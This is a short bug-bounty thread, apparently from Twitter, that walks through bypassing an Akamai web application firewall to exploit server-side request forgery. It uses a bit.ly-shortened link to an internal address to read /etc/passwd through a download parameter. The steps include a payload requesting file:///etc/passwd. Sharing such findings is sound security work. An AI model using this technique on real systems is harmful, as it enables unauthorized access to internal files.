Basavaraj Banakar🇮🇳 Profile picture
Sep 23, 2022 7 tweets 2 min read Read on X
Akamai WAF Bypass read internal files via SSRF

1. target[.]com/download?url=file:///etc/passwd (Blocked by akamai waf)

#bugbountytips #bugbounty #ssrf #wafbypass #hacking
2. target[.]com disclosing internal ip in the response header ex: X-Server:
3. Now target[.]com/download?url= (weird 403)
4. Used URL Shortener bitly and shortened (Example: bit[.]ly/blahblah)
5. Now target[.]com/download?url=bit[.]ly/blahblah I got successful response i.e with html content which is same as target[.]com
6. Now used and shortened it ex: bit[.]ly/2ndblah (Because here frontend and backend both have same source code)
7. Here comes hackermode on😈
target[.]com/download?url=http://bit[.]ly/2ndblah and successfully got etc/passwd content

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